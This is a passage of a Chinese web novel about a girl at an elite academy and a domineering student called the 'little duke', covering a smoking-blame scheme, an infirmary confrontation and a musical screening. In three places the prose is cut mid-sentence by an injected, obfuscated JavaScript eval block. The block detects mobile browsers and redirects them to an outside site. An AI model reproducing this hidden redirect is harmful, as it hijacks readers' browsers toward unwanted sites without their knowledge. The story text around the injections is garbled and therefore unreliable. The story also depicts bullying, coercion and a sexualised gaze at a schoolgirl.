跟班才压着几名女生跟上来。为首的那名女生没穿制服外套,脸上的妆有些花,看上去畏惧、不忿又不甘心,身后的两名女生则都害怕得眼睛哭红了,吓得不知所措。 他认出这两人是自己班上的,脸色更冷沉。 “……”谢周霖什么话也没说,微微侧开了身。 陆明熙直接迈步跨入。 而季殊在一进教务处的时候就吓了老师们一跳。 他们纷纷从文件里抬起头,用眼神打量着这名看上去经历了什么、脸色苍白的少女。 季殊找到班主任朱玲。对方戴着厚厚的眼镜,听清她说的内容后惊得镜片后的眼睛瞬间瞪大。 “你……你说的是真的?你承认自己在校内——” ——抽烟。 弗兰德是国内有史以来上对学生抽烟限制最为严格的学校。自二十年前议会通过新版《青少年保护法令》通过以来,弗兰德学院就修改了校规,校内严令禁止学生抽烟,并设置了多处烟雾检测器,一经发现,轻则留校察看,重则停学处理。 “是。”季殊声音沙哑地回道,“因为是在人少的六楼女卫抽的,那附近没有烟雾检测器,所以报警装置没响。您如果 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12959695|136755||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不相信,可以立刻对我进行血液检测。” 朱玲自教学以来还从没见过这么主动积极供认的学生。 女生安静地垂着眼睫,纤瘦的身子裹紧着大了半码的校服,头发湿漉漉地披在肩膀上,紧抿着唇线,看起来脆弱不堪,浑身却散发着沉意和执拗。 “你……确定吗?”朱玲眼神复杂,再次询问求证她的意愿。 “确定。”季殊道。 刚才在卫生间之中,那名卷发女生抽烟时她也吸入了一些,血液检测是能够查出来的。倘若情节较轻,则留校察看,严重的话,强制停学。她可以以此胁迫季南林为她转学,去到新的高中,开始她新的求学生活,远离这个地狱。 季殊抿抿唇,想了想,开口补充道:“还有前几天,周一的中午,学校的烟雾检测器响了的那次,也是我在杂物间——” 她话音未落。 脚步声从身后靠近,长臂一伸,带着几分亲密意味地勾上她的肩膀,向下压了一压。 熟悉的香水气息朝着她卷来。 季殊剩下的话蓦地被堵在喉咙中,浑身僵硬得发不出半点儿声音。 陆明熙熟稔的声音在耳畔故作惊讶地适时响起:“哈……季殊同学,你怎么在这里,真是巧。” 朱玲一副见了鬼的神情。 不仅是她,其他老师也是抽了口气。原本忙工作的老师也从文件堆里抬起了头,灼灼的视线纷纷朝着此处投了过来。 ——她原本记得季殊不是在班上不受待见、尤其最不受小公爵待见的人吗?现在是什么情况? 陆明熙压根没给季殊说话的机会。 他懒散插在兜里的手拿出来,两指并拢对对方挥了一下,算作礼节,紧接着笑脸开口道:“这不是下班之前,给您凑工作完成指标来了。” 朱玲有几分不好的预感,她看了眼季殊,犹豫着问他:“……你要做什么?” 陆明熙抬了抬下颌示意。 外面几个人立刻带着三个眼眶发红,如鹌鹑一般发抖的女生走进来。 整个教务处瞬间安静下来,落针可闻。 为首的那个卷发女生不知道方才被陆明熙说了些什么,浑身颤抖,状态几经崩溃。陆明熙笑着抬脚碰了碰她的腿弯,她立刻抖得像筛糠一样朝着朱玲跪了下来,颤声道:“是我……是我抽烟的、老师!!” 众人脸色大变。 “是我和另外两个女生一起躲在六楼的女卫生间抽烟,不巧被刚好进来的季殊同学看见。她想去告发,却被我们威胁,我们逼她吸了烟之后去找您顶罪……”她越说越畏惧地直抖,声音里的哭腔藏不住,好像身后站着什么魔鬼一般, “对、对了,还有之前在杂物间烟雾检测器响的那次也是我!!都是我们做的,老师……” “……” 朱玲面色难看。她不是这名女生的班主任,因此没有应答。很快,教师里面走出一个脸色黑沉的中年男人,他领着女生给其他教师道歉后出了门。 空气里只剩下了小声的、不绝的啜泣。 季殊从始至终都不被允许开口,就这样被陆明熙状似关系不错一般勾肩搭背地带出了教务处。 两人一路沉默无言,其他跟班也远远地,不敢跟上来。 就这样回到了教室门口,陆明熙才蓦地笑了一声。 他贴着季殊耳朵,嗓音低沉磁性,饶有兴味地轻声道:“你还挺会装的,季殊。” “……” “那天话说得那么诚恳,小作文写得那么情真意切,我差点就信了。” 滚烫的声音顺着季殊耳道滑下,像黏腻的细砂。 季殊没回答。 她清楚,她的想法落空了。而后续,陆明熙也绝不会再给她相同计划实施的机会。 她就这样站着,喉咙动了动。干热的灼烧感烫得她几乎浑身失去知觉,唯独脑子冰冷而清醒。 “是诚意不够吗?”她问。 “什么?” 她微微转动脸颊,抬起眼睫,黑瞳沉沉地看向高高在上的小公爵,重复道:“是因为我给出的诚意不足以让你满意吗?” 陆明熙后知后觉想起来自己昨晚说过的话。 他按着额头,笑了声,也不辩解,干脆顺着她的猜想点点头:“对,没错。” 他俯下身,一点点收紧箍着她脖颈和肩膀的手臂,轻言细语, “季殊,在证明给我看你后悔的决心和诚意之前,你哪里都不能去。” 只能留在弗兰德。 季殊似乎烧得有些糊涂了。 她竟然含糊地“唔”了声,跟着他一起点了下头,然后神志不清地推开他的手臂往教室里走。 陆明熙由着她去,站在她身后,压着唇角的弧度轻笑了声,伸开右手手臂。 一步、两步、三步。 季殊失去意识,向后跌进他的怀里。 13. 013. 醒来的时候,依旧是在医务室。 周五的下午没有选修课,只有社团活动。窗外的蝉鸣声和学生们说话吵闹的声音吵醒了季殊,她头昏脑胀地醒来。 空调送来丝丝凉意,透过窗户的光影在充满消毒水味的被子上拖曳着。 季殊看见自己输液的左手。点滴滴答滴答地从透明软管中落下,汇入青色的脉络中。 她尝试说些什么,但是一开口,嗓子生疼。 似乎是听见了动静,她的白色隔离布被小心翼翼掀开,露出一张短发男生的脸。他看起来开朗阳光,脸部轮廓分明,穿着社团活动的运动服,冲季殊弯着眼睛笑,低声问:“你醒啦?” 看见季殊陌生的眼神,他解释道:“我叫江兆明,就在你们隔壁班。中午的时候你晕倒了,小公爵和我们几个人把你送来医务室的。你烧得很重,校医给你输了液,让你在这里休息。” 季殊问:“我躺了多久?” 江兆明看看运动手表:“大概三个多小时吧。” 季殊“嗯”了一声,江兆明好像又想起来什么,他轻手轻脚地把东西拿进来。季殊看清那是自己的书包。 “你的东西都在这里,还有手机。”男生把手机递给她,又拿了一塑料袋东西进来。 季殊拿过手机,开了锁屏。没有消息,但是电量稀少,她摸出电线充上电,才打开塑料袋。 江兆明说:“你中午没吃东西,下午食堂又关门了,小公爵就让我们带点东西过来。还有上午你买的那些……也都在这里,”他说着,不好意思地摸了摸后脑勺,“其实那些事情一般都是我们平时抢着去做的,今天让你一个女生代劳,真的很不好意思,下次如果再有这种事,你跟大家几个说,他们肯定都会很乐意做的!” 季殊看了他一眼。他似乎不太清楚上午的事的具体情况,季殊也没打算说。 她的嗓子的疼得厉害,从袋子里拿出瓶水,男生立马接过来:“我帮你拧吧!” 季殊没拒绝。对方又帮她拆了几盒pocky和几袋面包放在她的床头柜上。 季殊喝了些水才感觉喉咙的灼烧感好了些,胃部的痉挛则更加明显。 她沉默地咬着面包,忽然问道:“陆明熙在这里,是吗?” 江兆明一副被看穿了的样子,耷拉了下耳朵,讨好地笑了一下:“小公爵在这里睡觉,让我在这儿守着。” 季殊说:“我知道。” 否则江兆明刚才不会那么轻声细语,像是怕打扰了什么似的。 还有,季殊能够察觉到的。 在这间病房里萦绕的,若有若无、挥之不散的香水气息。前调已散,中后调的红酒、黑加仑叶和白松香强势地闯入浓重的消毒水气息中,生生在不大的医务室中划出一份自己的地盘。 江兆明说:“小公爵平时的下午会逃课去午睡,一般是在首席休息室或者专属图书室里,他还是头一次心血来潮在校医室睡觉呢。” 他就是这种人。不然校医也不会为了怕打扰他,给她输了液之后就特意挪了地方,将这块地让给他睡觉。 季殊吃完面包才感觉胃部的难受好了些。 她刚拿起一根pocky,医务室门外忽然传来了两名女生有些兴奋的窃窃私语声。 “……确定是这里吗?” “一定没错的,小公爵肯定就在这里!” 江兆明脸色微变,他对季殊仓促而无奈地笑了一下,说:“我出去一下。”随后便起身离开椅子,拉上隔离布,推开门出去。 季殊能听见他们的谈话声,隔着被阳光照射、在微风下轻微拂动的白色帘布传来。 “江兆明!你怎么在这里,那……小公爵也在这里是吗!” “抱歉,他不在这里。” “那你让我们进去看看!” “不行,里面有病人正在休息,你们不能进去打扰她……” “骗人!小公爵不在这里的话,你怎么会在这里?让我们进去看看,看一眼就好!” “……” 季殊听着听着走了神。她咬断pocky,慢吞吞从病床上下来,轻轻撩开了帘布。 几步之远的另一张病床被拖出了隔间,推到了窗下。窗户开了条缝,清冽带着灼意的热风吹进来,随着帘布轻微晃动。 病床上躺着一个身影,季殊看见他微侧身躺着,制服外套被脱下,搭在一旁的金属衣架上,衬衫袖子挽起,手臂搭在下腹上,薄薄的衬衫裹着有力的肌肉,骨节突出而遒劲,浅淡的凸出的经络覆在冷白色的皮肤下,修长的手指自然而松弛地卷起,胸口均匀地随着呼吸一起一伏。 他刚才就睡在她一帘之隔。 季殊拉开帘子,看见了陆明熙的脸。 那张脸在阳光的波纹下潋滟秾丽,粉发垂在脸颊上,随风微微拂动,分明的轮廓和鼻梁投下的阴影像是烙在脸颊上一般。 难得只有在睡觉时才消停下来的人。 季殊面无表情地想着:‘要是他能一直睡着就好了。’ 忽然,门被推响,女生们杂乱的脚步声响起。听起来似乎是江兆明没拦住那两个人。 季殊很快地拉上隔离布。 “——小、小公爵!” “就在这里,还好刚才没被骗。” “明明都说了不能进来,怎么……” 季殊忽然听见了翻身的声音,似乎是陆明熙被吵醒了。床架咯吱响了一声,紧接着是慵懒的、烦躁的啧声,带着些才醒的倦意,陆明熙伸了个懒腰。 “小公爵!” 季殊听见那两个女生激动、紧张的声音。她们的自报了名字,拥挤着上前,有些羞涩又慌张地来到病床前说道,“我们知道您也选了世界古典音乐鉴赏这门课,所以我们这次来是想请您参演我们剧组的选曲……” 纸张哗啦的传动声音响起。 陆明熙似乎眼睛都没睁开,斜靠在床上,头发有点散乱地打了个哈欠,冷淡吐出一个字: “滚。” 女生们的笑容凝在脸上。她们似乎是没反应过来,又强撑着微笑上前几步,递了递剧本:“我们是声乐社团的组织人,这次选取的剧本也是世界闻名的《罗密欧与朱丽叶》,社团里的成员还对剧本曲子作了更贴合流行的改编,相信您只要看了就一定能够……” 陆明熙却是接都没接。他甚至眼皮都没掀,困倦地揉了把头发,重复道: “滚出去。别让我说第三遍。” 两名女生俱是一僵。 方才江兆明怎么拦都拦不住的两人此刻脸色变得惨白难堪,她们嗫嚅着后退,最终识趣地退出了病房,不敢多说一个字,带上了门。 江兆明在一边苦笑着挠头:“小公爵,要怪就怪我没拦住……我说您不在这里,她们偏不信。平时睡觉的地方她们进不去,偏偏今天找到了能进来的地方……” 陆明熙懒洋洋“哼”了声,在热意弥漫的阳光下又倦怠地打了个哈欠,“算了。” 说着便起身下床。 季殊听见了床架响动和脚步落地的声音,立刻想转身回床上躺着装睡,但没来得及。 隔离布被唰地扯开。 陆明熙探着半个身体进来,轻佻地笑着,眯着只眼,才睡醒不久的碎发还懒散地缀在他脸颊边,他勾着唇角,“听多久了?” 季殊被他蓦地凑近,心跳了一下,向后跌坐在病床上。 她硬着头皮:“……我才醒。” “哦。”陆明熙信了似的点点头,“那还真是巧,我一醒你就醒了。” 江兆明在他身后心虚得眼观鼻鼻观心。 季殊面不改色地说:“你们太吵了,自然就把我吵醒了。” 江兆明在陆明熙身后吓得对她使劲摆手。季殊视若无睹。 陆明熙看着她的表情几秒钟,忽地笑出来:“季殊,被我戳穿后,你还真是一点都不装了啊。” 季殊对视他,声音冷淡道:“反正都是一个下场,不是吗?” 江兆明在后面捂着脸,面如死灰。 陆明熙倒是真的被她逗乐了,他伸直长臂,直接探过去,压在季殊身侧,倾下脸打量着她。半会儿才哼笑了两声,点点头:“对了,就是这个表情。跟你在那天杂物间里咬我的时候一样,像条狗似的,不叼下块肉来不罢休。” 季殊向后退去,却退无可退,只能尽力压低自己的身体,减小和床面的折角,拉开与陆明熙的接触距离。但即便如此,仍能够感觉到他说话间喷出的气流,比窗外的炎日夏意更为灼热。 她只能偏开头。 陆明熙却趁着这时伸手一够,拿走了季殊床头柜的手机。他勾住季殊没输液的手,握着她的手指按了指纹密码解锁。 季殊惊了一下才反应过来:“你干什么?” 她伸手去抢,却被陆明熙按住脑袋。他高出季殊快两个头, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12961478|136755||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 长臂一伸,季殊又被他按在床上,像是隔着天堑一般怎么也够不着。 陆明熙一手按着她,一手点按着她的手机屏幕。他似笑非笑地安抚道:“急什么,看看你的排课和选剧。” 季殊用小组件把课表设置在了手机桌面,陆明熙悠闲地保存了一份后发去了自己的邮箱,又去翻她添加的双休日巡演观看时间表。 “你别乱翻我的东西!”季殊急了。她讨厌别人不经过允许看她的隐私,抬腿就踹向他。陆明熙这次却早就有了经验,游刃有余地弯腰曲腿,用膝盖隔开她的两腿,将她抵死在病床上,不让她乱动弹。 大概是动作幅度太大,她忽然侧身捂住输液的那只手,“嘶”了声,抽了口冷气。 陆明熙也移开注意力。他顿了顿:“怎么了,碰到输液针了?” 季殊没说话,只低垂着头,捂着手背,肩背似乎痛得蜷了起来。 陆明熙蹙起眉头,“啧”了声,弯下腰,伸手去握她的手腕,想查看她有没有出血。 她却忽然跳起来,一把夺过他手里的手机,从他身下一绕,直接滚了开去。顺便一把捞起柜子上的书包,紧紧抱在怀里,一边警惕地看着他,一边谨慎拉开距离。 陆明熙低头一看。 输液针不知道什么时候连带着贴布被她拔了下来,针头沁着小小的血珠,很快被滴答滴答涌出的剔透药水融化,滴落到床单上,浸开水渍,连带着药水味浓烈地挥发开。 而季殊已经背上书包,收起手机,捂着手背的针孔,退到了门口。 陆明熙简直被她气笑了:“季殊,你真行。” 他对着门口的江兆明摇摇头,一边探身够过柜子上的一袋棉签,抛给了她。 季殊匆忙抬手接住。 陆明熙说:“行了,除了课表之外什么都没看见。急得跟什么似的。” 他好气又好笑地挥挥手,“课表看也看了,液也输完了,还杵着干什么?” 季殊愣了愣。 ……他这是允许她走了? 她试探地退出门外,看见他好整以暇、笑意盈盈地盯着她看,这才一转身,跑了。 身影很快消失在医务室门口,无影无踪。 江兆明刚才吓得心惊肉跳:“小公爵……” 往常陆明熙午睡后起床气都重得很,没想到今天竟然心情不错,让他摸不着头脑。 陆明熙嗯了声,慢悠悠转身回到季殊躺过的那张病床,坐下,伸手捡了盒中被折断的那根pocky咬在嘴里。 “江兆明,你下午没社团活动吗?” “……网球社的活动四点半才开始,还有一会儿。” “现在去也行。” 江兆明呆呆地“啊”了一声,这才反应过来,往门口退了几步,又不放心地转身问道,“那等会儿您回首席休息室吗?” 陆明熙已经躺下了,他说:“不去。反正池耀星那小子肯定又在那里占着放映室玩ns,吵死了。等会儿你去网球社顺便找下谢周霖,跟他说事情已经解决了。” 他说着,幸灾乐祸地笑出声,“他班上的人出了那种要被全校通报批评的事,还不止一个,估计现在脸色肯定难看着呢。” 江兆明应了声,默默地退了出去,顺便带上了门。 陆明熙咬断pocky,闭上眼睛。病床上除了浓烈的药水气息以外,还带着浅淡的、不易察觉的少女身上柔软细腻的馨香,除此之外,还有她身上特殊的、独一无二的冷冷的香气。 陆明熙十二岁起整日在Lotus里闲逛,同年就有了自己专属的调香室,竟然无法准确地说出这种香气的调子。 它让他回想起中午在卫生间隔间看到的季殊。 她穿着几乎被水洇湿的衬衫,解开了一半的纽扣,透出衣服下若隐若现的青涩线条和柔软弧度,浅粉与冷青从半透明的衬衫下透出,湿漉漉的头发披在肩膀上,滴滴答答地向下晕着水珠。 她的脸庞清冷、耳根烧红,眼神却有些朦胧。在晃眼刺目的白炽灯下抬起头,就那样不辨来人地望向他。 虽然只望了一眼便移开视线,却刺得他心底发痒。 陆明熙转了个身。阳光的光线在病床上缓缓推移着,所及之处暖洋洋、亮澄澄一片。 他感觉有些心悸和烦躁,忽然意识到什么,烦躁地喉结滑动一下,扯过病床被子,盖在了自己的下腹上。 ……接着睡觉。 14. 014. 输液果然效果好上太多。 季殊回去睡了一觉后,头就不是很疼了,温度计上的数字也恢复了正常体温。 难得的周末,也是难得的好天气。她做完功课后打开剧场巡演时间表。 今天下午两点有一场演出放映,在学校S区汇演场馆的三楼,剧目是《摇滚Heathers》,语种是英文。 其实这首单看曲子来说算不上古典音乐,弗兰德的正式演出时甚至加了摇滚的改编,听说是前几届里有首席参与剧组表演过这首,但因为效果太好太轰动,便保留了摇滚的改编形式,一直流传到这一届。 虽然谢周霖跟她说过,如果找不到小组剧组加入可以向他要成员分配表,但是季殊觉得自己很难主动要求加入其他陌生小组。 倒不如今天去看完演出后现场找缺成员的剧组招募加入,还能省去许多沟通的麻烦。 周末去校园用不着穿校服,季殊换上灰色的连帽衫和卫裙就出了门。她估计了一下时间,让司机下午四点半去接她。 到了学校后,她按照导航找到了现场。S2门口人来人往,这一场人尤其多,幸好这个场子足够大,才不显得拥挤。 巨大的放映室里,大多数穿着常服的弗兰德学生们依次入场,寻找着合自己心意的座位。冷气设备开得很足,场馆内垂放的红丝绒幕布浅浅晃动着,头顶昏暗的灯光一簇一簇投射在场地内,随着学生们的走动晃动交错着。 季殊来得早,寻到一处合适的座位坐下来。 没过多久,她忽然听见了低低的惊呼和嘈杂声响起。 “——小公爵!” “真的假的,没看错吧?” “只是光线暗,我又不是瞎了,这还能看错不成?” “小公爵也来这场了,我真走运!” 脚步声簇拥着响起,人群自觉地散开,让那不紧不慢的人先行。季殊心底隐隐有不好的预感,她伸手戴上兜帽,但是那脚步声仍旧在她这排停下。 最外排的人诚惶诚恐地起身,让陆明熙进去,他双手插在口袋里,侧身晃进来,抬腿朝里排走去,走到季殊身旁时停下步伐。 季殊低着头起身让行。 对方站着似乎是看了她两秒,路过时轻笑一声,胸口擦着季殊的头发过去,季殊听见他笑时胸腔微微的震动。 昏暗的光线下,对方浅粉色的头发也被晕成沉沉的暗色,在冷气的吹拂下晃动着,像轻摇的红酒,香气强势地闯入季殊的鼻腔。 她屏住呼吸,等待对方路过,没成想他走到季殊右边便不走了,一屁股坐了下来。 季殊忽然间很后悔自己刚才为什么不选一个左右都有人的座位。 她硬着头皮坐下,假装若无其事,只是四周偷偷响起的窃窃私语和手机拍摄的闪光仍旧让坐在陆明熙身边的她浑身不自在起来。 右手的扶手忽然一沉。 季殊看见旁边的手臂压上两人中间的座椅扶手。她立刻撤回手臂,顺带着整个人都往另一边挪了挪。 对方则丝毫没有察觉一般,懒洋洋地朝后一倚,长腿拢在座位间略显的有些局促,但他仍松弛地交叠起来,不免占了季殊的座位空间。 季殊腿也跟着警觉地挪开了点儿。 她听见隔壁传来的鼻音的促狭嗤笑:“……出息。” 季殊忍了忍,还是没忍住:“你昨天明明说过,除了课表之外什么都没看到的。” 那今天怎么还会知道我选的演出时间表? 陆明熙手臂撑着脸颊,整个人朝着她的方向歪歪扭扭地倾斜着,脸却没看她,只是饶有兴味地望着正前方尚未开始播出的屏幕。 他翘起嘴唇道:“跟你有什么关系?我就不能也正好选择这场?” 季殊吃了哑巴亏,看见他就烦,也不想再理他,暗自拽紧了兜帽的松紧绳,把陆明熙在自己余光里的最后一点视角彻底消灭。 然而对方交叠着的长腿仍旧在她的面前慢悠悠晃着的,昭示着存在感,季殊稍一低头就能看见。 ……烦人。 她移开视线,让自己专注于台上。 演出放映很快开始。 《摇滚Heathers》是一部校园青春犯罪喜剧。 主角维罗妮卡原本是一名书呆子,为了避免遭受排挤和孤立,她加入了校园人气姐妹帮Heathers。Heathers就像所有的校园小团体一样,以捉弄他人取乐,其中为首的希德尤为美丽而刻薄,她带领着自己的小团体在校园内仗着人气高作恶多端、霸凌同学。 在这个过程中,维罗妮卡逐渐被玩世不恭、任性妄为的男生杰森吸引,很快也意识到自己在小团体内所做的事的不道德,决心与希德决裂。 然而事情哪有那么简单。她很快遭受到了希德更为明目张胆的霸凌,对方肆意而恶劣的行为让维罗妮卡难以忍受,她决心联合杰森整治希德,然而阴差阳错之下,杰森的一杯毒酒让希德直接送了命。 至此,一场校园恋爱正式演变为犯罪喜剧。 而维罗妮卡的杀人生涯,才刚刚开端。 在来看演出之前,季殊事先预习过这支剧目的曲子。原本的曲子稍显平庸,在弗兰德前几届参演人员的修改之下,融入了新时代的摇滚元素,变得流行抓耳起来。剧情尽管涉及犯罪,但是夸张的元素和表演形式使得整体氛围仍旧处于一个较为轻松的状态。 “……无聊。”季殊听见旁边低低的声音传来。 陆明熙打了个哈欠,兴致缺缺。长长的睫毛落下,荧幕上光与影的变幻在他轮廓分明的脸颊上闪烁着,渲染着明与暗的光泽色彩。 他似乎偏头瞧了瞧季殊,好像她灰色的兜帽比放映屏幕有意思一样。季殊感觉到那视线凝在自己脸上,兴味地打量了半会儿,陆明 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12978736|136755||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 熙开口问道:“你喜欢听这种音乐剧吗?” 季殊:“一般。” 陆明熙拖长了音“哦”了声,随后说:“公爵府府邸上有私人剧场,去年请过世界音乐剧剧场来专门演出。” 季殊:“……?” 关她什么事,莫名其妙的。 但是陆明熙看起来不错的心情很快到此为止了。 “OurloveisGod……” 荧幕上尾曲响起的时候,陆明熙的手机屏幕也发亮,似乎是消息提示。他只看了一眼,唇角便撇了下去,冷“啧”了声。 他不耐烦地按下,然而紧接着,手机震动起来,屏幕上出现了来电显示。 他只能起身,带着手机出去接电话。 与此同时,屏幕上的演出也落下帷幕。场馆里一片唏嘘声,甚至还有些共情能力强的人小声抽泣。 季殊此刻兴致倒是不高,确实如陆明熙所说,这支音乐剧稍显无聊,不过好在台词简单生活化,排演难度应该不算很大,比隔壁德奥剧组下了好几个难度等级。 人群散去后,她便去往后台寻找剧组成员招募的摊子。其他场次的演出多多少少也结束了,人又多又乱,有直接吆喝招募成员的,有提前用横幅将剧名打出来招募的,还有甚者,直接以“参演我们剧组,保底拿到xx学分和A成绩”作为口号吸引招募的,令人瞠目结舌。 季殊找到《摇滚Heathers》的摊位。不少人在这里排队,她便也加入队伍。轮到她时,所剩的角色不是很多了,她先签了名占了位置,才开始筛选角色。 刚刚忙过来的剧团团长女生一转头,正好看见低头写字季殊,脸色微妙起来。 “别选了,我看希德这个角色就挺适合你的,”她拧着眉毛冲她嘻笑了一下,用指甲点点剧目表上“希德”这个人物名,以调侃的语气说道,“你瞧,多正好呢。” 季殊脸色微变。 她抬起头,看见那个女生抬着下巴,正轻蔑又隐约嫌恶地看着她。她拿不准对方话里的意思,只是女生很快拿过单子,刷刷两笔替她勾选了希德的名字,招呼后面的人上前,大声对所有人说道: “等会儿大家记得去307室拿台词本和排演时间表!” 季殊转头看了看,其他剧组的招募基本也进行得差不多了,应该空不出什么位置。她只能拿着签字表走到307室门口,稍稍用力推门。 忽然间动作一顿。 她浑身都僵硬起来。 难以言喻的感觉让她呼吸急促,几乎停滞、心脏也通通跳着。 307休息室里,三三两两的女生整理分发着台词本,一边说笑打趣着,俨然一副熟悉轻松的活跃氛围。 而其中那名长相清丽、梳着马尾、穿着校服的女生,正是所属C校区声乐特招生班级的阮思安。 ——这本小说的女主角。